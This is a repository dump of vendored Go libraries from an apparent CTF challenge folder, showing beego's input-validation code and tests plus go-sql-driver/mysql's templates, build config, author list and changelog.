Validation{} if valid.Required(nil, "nil").Ok { t.Error("nil object should be false") } if !valid.Required(true, "bool").Ok { t.Error("Bool value should always return true") } if !valid.Required(false, "bool").Ok { t.Error("Bool value should always return true") } if valid.Required("", "string").Ok { t.Error("\"'\" string should be false") } if valid.Required(" ", "string").Ok { t.Error("\" \" string should be false") // For #2361 } if valid.Required("\n", "string").Ok { t.Error("new line string should be false") // For #2361 } if !valid.Required("astaxie", "string").Ok { t.Error("string should be true") } if valid.Required(0, "zero").Ok { t.Error("Integer should not be equal 0") } if !valid.Required(1, "int").Ok { t.Error("Integer except 0 should be true") } if !valid.Required(time.Now(), "time").Ok { t.Error("time should be true") } if valid.Required([]string{}, "emptySlice").Ok { t.Error("empty slice should be false") } if !valid.Required([]interface{}{"ok"}, "slice").Ok { t.Error("slice should be true") } } func TestMin(t *testing.T) { valid := Validation{} if valid.Min(-1, 0, "min0").Ok { t.Error("-1 is less than the minimum value of 0 should be false") } if !valid.Min(1, 0, "min0").Ok { t.Error("1 is greater or equal than the minimum value of 0 should be true") } } func TestMax(t *testing.T) { valid := Validation{} if valid.Max(1, 0, "max0").Ok { t.Error("1 is greater than the minimum value of 0 should be false") } if !valid.Max(-1, 0, "max0").Ok { t.Error("-1 is less or equal than the maximum value of 0 should be true") } } func TestRange(t *testing.T) { valid := Validation{} if valid.Range(-1, 0, 1, "range0_1").Ok { t.Error("-1 is between 0 and 1 should be false") } if !valid.Range(1, 0, 1, "range0_1").Ok { t.Error("1 is between 0 and 1 should be true") } } func TestMinSize(t *testing.T) { valid := Validation{} if valid.MinSize("", 1, "minSize1").Ok { t.Error("the length of \"\" is less than the minimum value of 1 should be false") } if !valid.MinSize("ok", 1, "minSize1").Ok { t.Error("the length of \"ok\" is greater or equal than the minimum value of 1 should be true") } if valid.MinSize([]string{}, 1, "minSize1").Ok { t.Error("the length of empty slice is less than the minimum value of 1 should be false") } if !valid.MinSize([]interface{}{"ok"}, 1, "minSize1").Ok { t.Error("the length of [\"ok\"] is greater or equal than the minimum value of 1 should be true") } } func TestMaxSize(t *testing.T) { valid := Validation{} if valid.MaxSize("ok", 1, "maxSize1").Ok { t.Error("the length of \"ok\" is greater than the maximum value of 1 should be false") } if !valid.MaxSize("", 1, "maxSize1").Ok { t.Error("the length of \"\" is less or equal than the maximum value of 1 should be true") } if valid.MaxSize([]interface{}{"ok", false}, 1, "maxSize1").Ok { t.Error("the length of [\"ok\", false] is greater than the maximum value of 1 should be false") } if !valid.MaxSize([]string{}, 1, "maxSize1").Ok { t.Error("the length of empty slice is less or equal than the maximum value of 1 should be true") } } func TestLength(t *testing.T) { valid := Validation{} if valid.Length("", 1, "length1").Ok { t.Error("the length of \"\" must equal 1 should be false") } if !valid.Length("1", 1, "length1").Ok { t.Error("the length of \"1\" must equal 1 should be true") } if valid.Length([]string{}, 1, "length1").Ok { t.Error("the length of empty slice must equal 1 should be false") } if !valid.Length([]interface{}{"ok"}, 1, "length1").Ok { t.Error("the length of [\"ok\"] must equal 1 should be true") } } func TestAlpha(t *testing.T) { valid := Validation{} if valid.Alpha("a,1-@ $", "alpha").Ok { t.Error("\"a,1-@ $\" are valid alpha characters should be false") } if !valid.Alpha("abCD", "alpha").Ok { t.Error("\"abCD\" are valid alpha characters should be true") } } func TestNumeric(t *testing.T) { valid := Validation{} if valid.Numeric("a,1-@ $", "numeric").Ok { t.Error("\"a,1-@ $\" are valid numeric characters should be false") } if !valid.Numeric("1234", "numeric").Ok { t.Error("\"1234\" are valid numeric characters should be true") } } func TestAlphaNumeric(t *testing.T) { valid := Validation{} if valid.AlphaNumeric("a,1-@ $", "alphaNumeric").Ok { t.Error("\"a,1-@ $\" are valid alpha or numeric characters should be false") } if !valid.AlphaNumeric("1234aB", "alphaNumeric").Ok { t.Error("\"1234aB\" are valid alpha or numeric characters should be true") } } func TestMatch(t *testing.T) { valid := Validation{} if valid.Match("suchuangji@gmail", regexp.MustCompile(`^\w+@\w+\.\w+$`), "match").Ok { t.Error("\"suchuangji@gmail\" match \"^\\w+@\\w+\\.\\w+$\" should be false") } if !valid.Match("suchuangji@gmail.com", regexp.MustCompile(`^\w+@\w+\.\w+$`), "match").Ok { t.Error("\"suchuangji@gmail\" match \"^\\w+@\\w+\\.\\w+$\" should be true") } } func TestNoMatch(t *testing.T) { valid := Validation{} if valid.NoMatch("123@gmail", regexp.MustCompile(`[^\w\d]`), "nomatch").Ok { t.Error("\"123@gmail\" not match \"[^\\w\\d]\" should be false") } if !valid.NoMatch("123gmail", regexp.MustCompile(`[^\w\d]`), "match").Ok { t.Error("\"123@gmail\" not match \"[^\\w\\d@]\" should be true") } } func TestAlphaDash(t *testing.T) { valid := Validation{} if valid.AlphaDash("a,1-@ $", "alphaDash").Ok { t.Error("\"a,1-@ $\" are valid alpha or numeric or dash(-_) characters should be false") } if !valid.AlphaDash("1234aB-_", "alphaDash").Ok { t.Error("\"1234aB\" are valid alpha or numeric or dash(-_) characters should be true") } } func TestEmail(t *testing.T) { valid := Validation{} if valid.Email("not@a email", "email").Ok { t.Error("\"not@a email\" is a valid email address should be false") } if !valid.Email("suchuangji@gmail.com", "email").Ok { t.Error("\"suchuangji@gmail.com\" is a valid email address should be true") } if valid.Email("@suchuangji@gmail.com", "email").Ok { t.Error("\"@suchuangji@gmail.com\" is a valid email address should be false") } if valid.Email("suchuangji@gmail.com ok", "email").Ok { t.Error("\"suchuangji@gmail.com ok\" is a valid email address should be false") } } func TestIP(t *testing.T) { valid := Validation{} if valid.IP("11.255.255.256", "IP").Ok { t.Error("\"11.255.255.256\" is a valid ip address should be false") } if !valid.IP("01.11.11.11", "IP").Ok { t.Error("\"suchuangji@gmail.com\" is a valid ip address should be true") } } func TestBase64(t *testing.T) { valid := Validation{} if valid.Base64("suchuangji@gmail.com", "base64").Ok { t.Error("\"suchuangji@gmail.com\" are a valid base64 characters should be false") } if !valid.Base64("c3VjaHVhbmdqaUBnbWFpbC5jb20=", "base64").Ok { t.Error("\"c3VjaHVhbmdqaUBnbWFpbC5jb20=\" are a valid base64 characters should be true") } } func TestMobile(t *testing.T) { valid := Validation{} if valid.Mobile("19800008888", "mobile").Ok { t.Error("\"19800008888\" is a valid mobile phone number should be false") } if !valid.Mobile("18800008888", "mobile").Ok { t.Error("\"18800008888\" is a valid mobile phone number should be true") } if !valid.Mobile("18000008888", "mobile").Ok { t.Error("\"18000008888\" is a valid mobile phone number should be true") } if !valid.Mobile("8618300008888", "mobile").Ok { t.Error("\"8618300008888\" is a valid mobile phone number should be true") } if !valid.Mobile("+8614700008888", "mobile").Ok { t.Error("\"+8614700008888\" is a valid mobile phone number should be true") } } func TestTel(t *testing.T) { valid := Validation{} if valid.Tel("222-00008888", "telephone").Ok { t.Error("\"222-00008888\" is a valid telephone number should be false") } if !valid.Tel("022-70008888", "telephone").Ok { t.Error("\"022-70008888\" is a valid telephone number should be true") } if !valid.Tel("02270008888", "telephone").Ok { t.Error("\"02270008888\" is a valid telephone number should be true") } if !valid.Tel("70008888", "telephone").Ok { t.Error("\"70008888\" is a valid telephone number should be true") } } func TestPhone(t *testing.T) { valid := Validation{} if valid.Phone("222-00008888", "phone").Ok { t.Error("\"222-00008888\" is a valid phone number should be false") } if !valid.Mobile("+8614700008888", "phone").Ok { t.Error("\"+8614700008888\" is a valid phone number should be true") } if !valid.Tel("02270008888", "phone").Ok { t.Error("\"02270008888\" is a valid phone number should be true") } } func TestZipCode(t *testing.T) { valid := Validation{} if valid.ZipCode("", "zipcode").Ok { t.Error("\"00008888\" is a valid zipcode should be false") } if !valid.ZipCode("536000", "zipcode").Ok { t.Error("\"536000\" is a valid zipcode should be true") } } func TestValid(t *testing.T) { type user struct { ID int Name string `valid:"Required;Match(/^(test)?\\w*@(/test/);com$/)"` Age int `valid:"Required;Range(1, 140)"` } valid := Validation{} u := user{Name: "test@/test/;com", Age: 40} b, err := valid.Valid(u) if err != nil { t.Fatal(err) } if !b { t.Error("validation should be passed") } uptr := &user{Name: "test", Age: 40} valid.Clear() b, err = valid.Valid(uptr) if err != nil { t.Fatal(err) } if b { t.Error("validation should not be passed") } if len(valid.Errors) != 1 { t.Fatalf("valid errors len should be 1 but got %d", len(valid.Errors)) } if valid.Errors[0].Key != "Name.Match" { t.Errorf("Message key should be `Name.Match` but got %s", valid.Errors[0].Key) } u = user{Name: "test@/test/;com", Age: 180} valid.Clear() b, err = valid.Valid(u) if err != nil { t.Fatal(err) } if b { t.Error("validation should not be passed") } if len(valid.Errors) != 1 { t.Fatalf("valid errors len should be 1 but got %d", len(valid.Errors)) } if valid.Errors[0].Key != "Age.Range" { t.Errorf("Message key should be `Name.Match` but got %s", valid.Errors[0].Key) } } func TestRecursiveValid(t *testing.T) { type User struct { ID int Name string `valid:"Required;Match(/^(test)?\\w*@(/test/);com$/)"` Age int `valid:"Required;Range(1, 140)"` } type AnonymouseUser struct { ID2 int Name2 string `valid:"Required;Match(/^(test)?\\w*@(/test/);com$/)"` Age2 int `valid:"Required;Range(1, 140)"` } type Account struct { Password string `valid:"Required"` U User AnonymouseUser } valid := Validation{} u := Account{Password: "abc123_", U: User{}} b, err := valid.RecursiveValid(u) if err != nil { t.Fatal(err) } if b { t.Error("validation should not be passed") } } func TestSkipValid(t *testing.T) { type User struct { ID int Email string `valid:"Email"` ReqEmail string `valid:"Required;Email"` IP string `valid:"IP"` ReqIP string `valid:"Required;IP"` Mobile string `valid:"Mobile"` ReqMobile string `valid:"Required;Mobile"` Tel string `valid:"Tel"` ReqTel string `valid:"Required;Tel"` Phone string `valid:"Phone"` ReqPhone string `valid:"Required;Phone"` ZipCode string `valid:"ZipCode"` ReqZipCode string `valid:"Required;ZipCode"` } u := User{ ReqEmail: "a@a.com", ReqIP: "127.0.0.1", ReqMobile: "18888888888", ReqTel: "02088888888", ReqPhone: "02088888888", ReqZipCode: "510000", } valid := Validation{} b, err := valid.Valid(u) if err != nil { t.Fatal(err) } if b { t.Fatal("validation should not be passed") } valid = Validation{RequiredFirst: true} b, err = valid.Valid(u) if err != nil { t.Fatal(err) } if !b { t.Fatal("validation should be passed") } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/validation/validators.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package validation import ( "fmt" "reflect" "regexp" "strings" "time" "unicode/utf8" ) // CanSkipFuncs will skip valid if RequiredFirst is true and the struct field's value is empty var CanSkipFuncs = map[string]struct{}{ "Email": {}, "IP": {}, "Mobile": {}, "Tel": {}, "Phone": {}, "ZipCode": {}, } // MessageTmpls store commond validate template var MessageTmpls = map[string]string{ "Required": "Can not be empty", "Min": "Minimum is %d", "Max": "Maximum is %d", "Range": "Range is %d to %d", "MinSize": "Minimum size is %d", "MaxSize": "Maximum size is %d", "Length": "Required length is %d", "Alpha": "Must be valid alpha characters", "Numeric": "Must be valid numeric characters", "AlphaNumeric": "Must be valid alpha or numeric characters", "Match": "Must match %s", "NoMatch": "Must not match %s", "AlphaDash": "Must be valid alpha or numeric or dash(-_) characters", "Email": "Must be a valid email address", "IP": "Must be a valid ip address", "Base64": "Must be valid base64 characters", "Mobile": "Must be valid mobile number", "Tel": "Must be valid telephone number", "Phone": "Must be valid telephone or mobile phone number", "ZipCode": "Must be valid zipcode", } // SetDefaultMessage set default messages // if not set, the default messages are // "Required": "Can not be empty", // "Min": "Minimum is %d", // "Max": "Maximum is %d", // "Range": "Range is %d to %d", // "MinSize": "Minimum size is %d", // "MaxSize": "Maximum size is %d", // "Length": "Required length is %d", // "Alpha": "Must be valid alpha characters", // "Numeric": "Must be valid numeric characters", // "AlphaNumeric": "Must be valid alpha or numeric characters", // "Match": "Must match %s", // "NoMatch": "Must not match %s", // "AlphaDash": "Must be valid alpha or numeric or dash(-_) characters", // "Email": "Must be a valid email address", // "IP": "Must be a valid ip address", // "Base64": "Must be valid base64 characters", // "Mobile": "Must be valid mobile number", // "Tel": "Must be valid telephone number", // "Phone": "Must be valid telephone or mobile phone number", // "ZipCode": "Must be valid zipcode", func SetDefaultMessage(msg map[string]string) { if len(msg) == 0 { return } for name := range msg { MessageTmpls[name] = msg[name] } } // Validator interface type Validator interface { IsSatisfied(interface{}) bool DefaultMessage() string GetKey() string GetLimitValue() interface{} } // Required struct type Required struct { Key string } // IsSatisfied judge whether obj has value func (r Required) IsSatisfied(obj interface{}) bool { if obj == nil { return false } if str, ok := obj.(string); ok { return len(strings.TrimSpace(str)) > 0 } if _, ok := obj.(bool); ok { return true } if i, ok := obj.(int); ok { return i != 0 } if i, ok := obj.(uint); ok { return i != 0 } if i, ok := obj.(int8); ok { return i != 0 } if i, ok := obj.(uint8); ok { return i != 0 } if i, ok := obj.(int16); ok { return i != 0 } if i, ok := obj.(uint16); ok { return i != 0 } if i, ok := obj.(uint32); ok { return i != 0 } if i, ok := obj.(int32); ok { return i != 0 } if i, ok := obj.(int64); ok { return i != 0 } if i, ok := obj.(uint64); ok { return i != 0 } if t, ok := obj.(time.Time); ok { return !t.IsZero() } v := reflect.ValueOf(obj) if v.Kind() == reflect.Slice { return v.Len() > 0 } return true } // DefaultMessage return the default error message func (r Required) DefaultMessage() string { return MessageTmpls["Required"] } // GetKey return the r.Key func (r Required) GetKey() string { return r.Key } // GetLimitValue return nil now func (r Required) GetLimitValue() interface{} { return nil } // Min check struct type Min struct { Min int Key string } // IsSatisfied judge whether obj is valid // not support int64 on 32-bit platform func (m Min) IsSatisfied(obj interface{}) bool { var v int switch obj.(type) { case int64: if wordsize == 32 { return false } v = int(obj.(int64)) case int: v = obj.(int) case int32: v = int(obj.(int32)) case int16: v = int(obj.(int16)) case int8: v = int(obj.(int8)) default: return false } return v >= m.Min } // DefaultMessage return the default min error message func (m Min) DefaultMessage() string { return fmt.Sprintf(MessageTmpls["Min"], m.Min) } // GetKey return the m.Key func (m Min) GetKey() string { return m.Key } // GetLimitValue return the limit value, Min func (m Min) GetLimitValue() interface{} { return m.Min } // Max validate struct type Max struct { Max int Key string } // IsSatisfied judge whether obj is valid // not support int64 on 32-bit platform func (m Max) IsSatisfied(obj interface{}) bool { var v int switch obj.(type) { case int64: if wordsize == 32 { return false } v = int(obj.(int64)) case int: v = obj.(int) case int32: v = int(obj.(int32)) case int16: v = int(obj.(int16)) case int8: v = int(obj.(int8)) default: return false } return v <= m.Max } // DefaultMessage return the default max error message func (m Max) DefaultMessage() string { return fmt.Sprintf(MessageTmpls["Max"], m.Max) } // GetKey return the m.Key func (m Max) GetKey() string { return m.Key } // GetLimitValue return the limit value, Max func (m Max) GetLimitValue() interface{} { return m.Max } // Range Requires an integer to be within Min, Max inclusive. type Range struct { Min Max Key string } // IsSatisfied judge whether obj is valid // not support int64 on 32-bit platform func (r Range) IsSatisfied(obj interface{}) bool { return r.Min.IsSatisfied(obj) && r.Max.IsSatisfied(obj) } // DefaultMessage return the default Range error message func (r Range) DefaultMessage() string { return fmt.Sprintf(MessageTmpls["Range"], r.Min.Min, r.Max.Max) } // GetKey return the m.Key func (r Range) GetKey() string { return r.Key } // GetLimitValue return the limit value, Max func (r Range) GetLimitValue() interface{} { return []int{r.Min.Min, r.Max.Max} } // MinSize Requires an array or string to be at least a given length. type MinSize struct { Min int Key string } // IsSatisfied judge whether obj is valid func (m MinSize) IsSatisfied(obj interface{}) bool { if str, ok := obj.(string); ok { return utf8.RuneCountInString(str) >= m.Min } v := reflect.ValueOf(obj) if v.Kind() == reflect.Slice { return v.Len() >= m.Min } return false } // DefaultMessage return the default MinSize error message func (m MinSize) DefaultMessage() string { return fmt.Sprintf(MessageTmpls["MinSize"], m.Min) } // GetKey return the m.Key func (m MinSize) GetKey() string { return m.Key } // GetLimitValue return the limit value func (m MinSize) GetLimitValue() interface{} { return m.Min } // MaxSize Requires an array or string to be at most a given length. type MaxSize struct { Max int Key string } // IsSatisfied judge whether obj is valid func (m MaxSize) IsSatisfied(obj interface{}) bool { if str, ok := obj.(string); ok { return utf8.RuneCountInString(str) <= m.Max } v := reflect.ValueOf(obj) if v.Kind() == reflect.Slice { return v.Len() <= m.Max } return false } // DefaultMessage return the default MaxSize error message func (m MaxSize) DefaultMessage() string { return fmt.Sprintf(MessageTmpls["MaxSize"], m.Max) } // GetKey return the m.Key func (m MaxSize) GetKey() string { return m.Key } // GetLimitValue return the limit value func (m MaxSize) GetLimitValue() interface{} { return m.Max } // Length Requires an array or string to be exactly a given length. type Length struct { N int Key string } // IsSatisfied judge whether obj is valid func (l Length) IsSatisfied(obj interface{}) bool { if str, ok := obj.(string); ok { return utf8.RuneCountInString(str) == l.N } v := reflect.ValueOf(obj) if v.Kind() == reflect.Slice { return v.Len() == l.N } return false } // DefaultMessage return the default Length error message func (l Length) DefaultMessage() string { return fmt.Sprintf(MessageTmpls["Length"], l.N) } // GetKey return the m.Key func (l Length) GetKey() string { return l.Key } // GetLimitValue return the limit value func (l Length) GetLimitValue() interface{} { return l.N } // Alpha check the alpha type Alpha struct { Key string } // IsSatisfied judge whether obj is valid func (a Alpha) IsSatisfied(obj interface{}) bool { if str, ok := obj.(string); ok { for _, v := range str { if ('Z' < v || v < 'A') && ('z' < v || v < 'a') { return false } } return true } return false } // DefaultMessage return the default Length error message func (a Alpha) DefaultMessage() string { return MessageTmpls["Alpha"] } // GetKey return the m.Key func (a Alpha) GetKey() string { return a.Key } // GetLimitValue return the limit value func (a Alpha) GetLimitValue() interface{} { return nil } // Numeric check number type Numeric struct { Key string } // IsSatisfied judge whether obj is valid func (n Numeric) IsSatisfied(obj interface{}) bool { if str, ok := obj.(string); ok { for _, v := range str { if '9' < v || v < '0' { return false } } return true } return false } // DefaultMessage return the default Length error message func (n Numeric) DefaultMessage() string { return MessageTmpls["Numeric"] } // GetKey return the n.Key func (n Numeric) GetKey() string { return n.Key } // GetLimitValue return the limit value func (n Numeric) GetLimitValue() interface{} { return nil } // AlphaNumeric check alpha and number type AlphaNumeric struct { Key string } // IsSatisfied judge whether obj is valid func (a AlphaNumeric) IsSatisfied(obj interface{}) bool { if str, ok := obj.(string); ok { for _, v := range str { if ('Z' < v || v < 'A') && ('z' < v || v < 'a') && ('9' < v || v < '0') { return false } } return true } return false } // DefaultMessage return the default Length error message func (a AlphaNumeric) DefaultMessage() string { return MessageTmpls["AlphaNumeric"] } // GetKey return the a.Key func (a AlphaNumeric) GetKey() string { return a.Key } // GetLimitValue return the limit value func (a AlphaNumeric) GetLimitValue() interface{} { return nil } // Match Requires a string to match a given regex. type Match struct { Regexp *regexp.Regexp Key string } // IsSatisfied judge whether obj is valid func (m Match) IsSatisfied(obj interface{}) bool { return m.Regexp.MatchString(fmt.Sprintf("%v", obj)) } // DefaultMessage return the default Match error message func (m Match) DefaultMessage() string { return fmt.Sprintf(MessageTmpls["Match"], m.Regexp.String()) } // GetKey return the m.Key func (m Match) GetKey() string { return m.Key } // GetLimitValue return the limit value func (m Match) GetLimitValue() interface{} { return m.Regexp.String() } // NoMatch Requires a string to not match a given regex. type NoMatch struct { Match Key string } // IsSatisfied judge whether obj is valid func (n NoMatch) IsSatisfied(obj interface{}) bool { return !n.Match.IsSatisfied(obj) } // DefaultMessage return the default NoMatch error message func (n NoMatch) DefaultMessage() string { return fmt.Sprintf(MessageTmpls["NoMatch"], n.Regexp.String()) } // GetKey return the n.Key func (n NoMatch) GetKey() string { return n.Key } // GetLimitValue return the limit value func (n NoMatch) GetLimitValue() interface{} { return n.Regexp.String() } var alphaDashPattern = regexp.MustCompile(`[^\d\w-_]`) // AlphaDash check not Alpha type AlphaDash struct { NoMatch Key string } // DefaultMessage return the default AlphaDash error message func (a AlphaDash) DefaultMessage() string { return MessageTmpls["AlphaDash"] } // GetKey return the n.Key func (a AlphaDash) GetKey() string { return a.Key } // GetLimitValue return the limit value func (a AlphaDash) GetLimitValue() interface{} { return nil } var emailPattern = regexp.MustCompile(`^[\w!#$%&'*+/=?^_` + "`" + `{|}~-]+(?:\.[\w!#$%&'*+/=?^_` + "`" + `{|}~-]+)*@(?:[\w](?:[\w-]*[\w])?\.)+[a-zA-Z0-9](?:[\w-]*[\w])?$`) // Email check struct type Email struct { Match Key string } // DefaultMessage return the default Email error message func (e Email) DefaultMessage() string { return MessageTmpls["Email"] } // GetKey return the n.Key func (e Email) GetKey() string { return e.Key } // GetLimitValue return the limit value func (e Email) GetLimitValue() interface{} { return nil } var ipPattern = regexp.MustCompile(`^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$`) // IP check struct type IP struct { Match Key string } // DefaultMessage return the default IP error message func (i IP) DefaultMessage() string { return MessageTmpls["IP"] } // GetKey return the i.Key func (i IP) GetKey() string { return i.Key } // GetLimitValue return the limit value func (i IP) GetLimitValue() interface{} { return nil } var base64Pattern = regexp.MustCompile(`^(?:[A-Za-z0-99+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$`) // Base64 check struct type Base64 struct { Match Key string } // DefaultMessage return the default Base64 error message func (b Base64) DefaultMessage() string { return MessageTmpls["Base64"] } // GetKey return the b.Key func (b Base64) GetKey() string { return b.Key } // GetLimitValue return the limit value func (b Base64) GetLimitValue() interface{} { return nil } // just for chinese mobile phone number var mobilePattern = regexp.MustCompile(`^((\+86)|(86))?(1(([35][0-9])|[8][0-9]|[7][06789]|[4][579]))\d{8}$`) // Mobile check struct type Mobile struct { Match Key string } // DefaultMessage return the default Mobile error message func (m Mobile) DefaultMessage() string { return MessageTmpls["Mobile"] } // GetKey return the m.Key func (m Mobile) GetKey() string { return m.Key } // GetLimitValue return the limit value func (m Mobile) GetLimitValue() interface{} { return nil } // just for chinese telephone number var telPattern = regexp.MustCompile(`^(0\d{2,3}(\-)?)?\d{7,8}$`) // Tel check telephone struct type Tel struct { Match Key string } // DefaultMessage return the default Tel error message func (t Tel) DefaultMessage() string { return MessageTmpls["Tel"] } // GetKey return the t.Key func (t Tel) GetKey() string { return t.Key } // GetLimitValue return the limit value func (t Tel) GetLimitValue() interface{} { return nil } // Phone just for chinese telephone or mobile phone number type Phone struct { Mobile Tel Key string } // IsSatisfied judge whether obj is valid func (p Phone) IsSatisfied(obj interface{}) bool { return p.Mobile.IsSatisfied(obj) || p.Tel.IsSatisfied(obj) } // DefaultMessage return the default Phone error message func (p Phone) DefaultMessage() string { return MessageTmpls["Phone"] } // GetKey return the p.Key func (p Phone) GetKey() string { return p.Key } // GetLimitValue return the limit value func (p Phone) GetLimitValue() interface{} { return nil } // just for chinese zipcode var zipCodePattern = regexp.MustCompile(`^[1-9]\d{5}$`) // ZipCode check the zip struct type ZipCode struct { Match Key string } // DefaultMessage return the default Zip error message func (z ZipCode) DefaultMessage() string { return MessageTmpls["ZipCode"] } // GetKey return the z.Key func (z ZipCode) GetKey() string { return z.Key } // GetLimitValue return the limit value func (z ZipCode) GetLimitValue() interface{} { return nil } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/.github/ISSUE_TEMPLATE.md ================================================ ### Issue description Tell us what should happen and what happens instead ### Example code ```go If possible, please enter some example code here to reproduce the issue. ``` ### Error log ``` If you have an error log, please paste it here. ``` ### Configuration *Driver version (or git SHA):* *Go version:* run `go version` in your console *Server version:* E.g. MySQL 5.6, MariaDB 10.0.20 *Server OS:* E.g. Debian 8.1 (Jessie), Windows 10 ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/.github/PULL_REQUEST_TEMPLATE.md ================================================ ### Description Please explain the changes you made here. ### Checklist - [ ] Code compiles correctly - [ ] Created tests which fail without the change (if possible) - [ ] All tests passing - [ ] Extended the README / documentation, if necessary - [ ] Added myself / the copyright holder to the AUTHORS file ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/.gitignore ================================================ .DS_Store .DS_Store? ._* .Spotlight-V100 .Trashes Icon? ehthumbs.db Thumbs.db ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/.travis.yml ================================================ sudo: false language: go go: - 1.2 - 1.3 - 1.4 - 1.5 - 1.6 - 1.7 - tip before_script: - mysql -e 'create database gotest;' ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/AUTHORS ================================================ # This is the official list of Go-MySQL-Driver authors for copyright purposes. # If you are submitting a patch, please add your name or the name of the # organization which holds the copyright to this list in alphabetical order. # Names should be added to this file as # Name # The email address is not required for organizations. # Please keep the list sorted. # Individual Persons Aaron Hopkins Arne Hormann Carlos Nieto Chris Moos Daniel Nichter Daniël van Eeden DisposaBoy Frederick Mayle Gustavo Kristic Hanno Braun Henri Yandell Hirotaka Yamamoto INADA Naoki James Harr Jian Zhen Joshua Prunier Julien Lefevre Julien Schmidt Kamil Dziedzic Kevin Malachowski Lennart Rudolph Leonardo YongUk Kim Luca Looz Lucas Liu Luke Scott Michael Woolnough Nicola Peduzzi Olivier Mengué Paul Bonser Runrioter Wung Soroush Pour Stan Putrya Stanley Gunawan Xiangyu Hu Xiaobing Jiang Xiuming Chen Zhenye Xie # Organizations Barracuda Networks, Inc. Google Inc. Stripe Inc. ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/CHANGELOG.md ================================================ ## Version 1.3 (2016-12-01) Changes: - Go 1.1 is no longer supported - Use decimals fields in MySQL to format time types (#249) - Buffer optimizations (#269) - TLS ServerName defaults to the host (#283) - Refactoring (#400, #410, #437) - Adjusted documentation for second generation CloudSQL (#485) - Documented DSN system var quoting rules (#502) - Made statement.Close() calls idempotent to avoid errors in Go 1.6+ (#512) New Features: - Enable microsecond resolution on TIME, DATETIME and TIMESTAMP (#249) - Support for returning table alias on Columns() (#289, #359, #382) - Placeholder interpolation, can be actived with the DSN parameter `interpolateParams=true` (#309, #318, #490) - Support for uint64 parameters with high bit set (#332, #345) - Cleartext authentication plugin support (#327) - Exported ParseDSN function and the Config struct (#403, #419, #429) - Read / Write timeouts (#401) - Support for JSON field type (#414) - Support for multi-statements and multi-results (#411, #431) - DSN parameter to set the driver-side max_allowed_packet value manually (#489) - Native password authentication plugin support (#494, #524) Bugfixes: - Fixed handling of queries without columns and rows (#255) - Fixed a panic when SetKeepAlive() failed (#298) - Handle ERR packets while reading rows (#321) - Fixed reading NULL length-encoded integers in MySQL 5.6+ (#349) - Fixed absolute paths support in LOAD LOCAL DATA INFILE (#356) - Actually zero out bytes in handshake response (#378) - Fixed race condition in registering LOAD DATA INFILE handler (#383) - Fixed tests with MySQL 5.7.9+ (#380) - QueryUnescape TLS config names (#397) - Fixed "broken pipe" error by writing to closed socket (#390) - Fixed LOAD LOCAL DATA INFILE buffering (#424) - Fixed parsing of floats into float64 when placeholders are used (#434) - Fixed DSN tests with Go 1.7+ (#459) - Handle ERR packets while waiting for EOF (#473) - Invalidate connection on error while discarding additional results (#513) - Allow terminating packets of length 0 (#516) ## Version 1.2 (2014-06-03) Changes: - We switched back to a "rolling release". `go get` installs the current master branch again - Version v1 of the driver will not be maintained anymore. Go 1.0 is no longer supported by this driver - Exported errors to allow easy checking from application code - Enabled TCP Keepalives on TCP connections - Optimized INFILE handling (better buffer size calculation, lazy init, ...) - The DSN parser also checks for a missing separating slash - Faster binary date / datetime to string formatting - Also exported the MySQLWarning type - mysqlConn.Close returns the first error encountered instead of ignoring all errors - writePacket() automatically writes the packet size to the header - readPacket() uses an iterative approach instead of the recursive approach to merge splitted packets New Features: - `RegisterDial` allows the usage of a custom dial function to establish the network connection - Setting the connection collation is possible with the `collation` DSN parameter. This parameter should be preferred over the `charset` parameter - Logging of critical errors is configurable with `SetLogger` - Google CloudSQL support Bugfixes: - Allow more than 32 parameters in prepared statements - Various old_password fixes - Fixed TestConcurrent test to pass Go's race detection - Fixed appendLengthEncodedInteger for large numbers - Renamed readLengthEnodedString to readLengthEncodedString and skipLengthEnodedString to skipLengthEncodedString (fixed typo) ## Version 1.1 (2013-11-02) Changes: - Go-MySQL-Driver now requires Go 1.1 - Connections now use the collation `utf8_general_ci` by default. Adding `&charset=UTF8` to the DSN should not be necessary anymore - Made closing rows and connections error tolerant. This allows for example deferring rows.Close() without checking for errors - `[]byte(nil)` is now treated as a NULL value. Before, it was treated like an empty string / `[]byte("")` - DSN parameter values must now be url.QueryEscape'ed. This allows text values to contain special characters, such as '&'. - Use the IO buffer also for writing. This results in zero allocations (by the driver) for most queries - Optimized the buffer for reading - stmt.Query now caches column metadata - New Logo - Changed the copyright header to include all contributors - Improved the LOAD INFILE documentation - The driver struct is now exported to make the driver directly accessible - Refactored the driver tests - Added more benchmarks and moved all to a separate file - Other small refactoring New Features: - Added *old_passwords* support: Required in some cases, but must be enabled by adding `allowOldPasswords=true` to the DSN since it is insecure - Added a `clientFoundRows` parameter: Return the number of matching rows instead of the number of rows changed on UPDATEs - Added TLS/SSL support: Use a TLS/SSL encrypted connection to the server. Custom TLS configs can be registered and used Bugfixes: - Fixed MySQL 4.1 support: MySQL 4.1 sends packets with lengths which differ from the specification - Convert to DB timezone when inserting `time.Time` - Splitted packets (more than 16MB) are now merged correctly - Fixed false positive `io.EOF` errors when the data was fully read - Avoid panics on reuse of closed connections - Fixed empty string producing false nil values - Fixed sign byte for positive TIME fields ## Version 1.0 (2013-05-14) Initial Release ================================================ FILE: 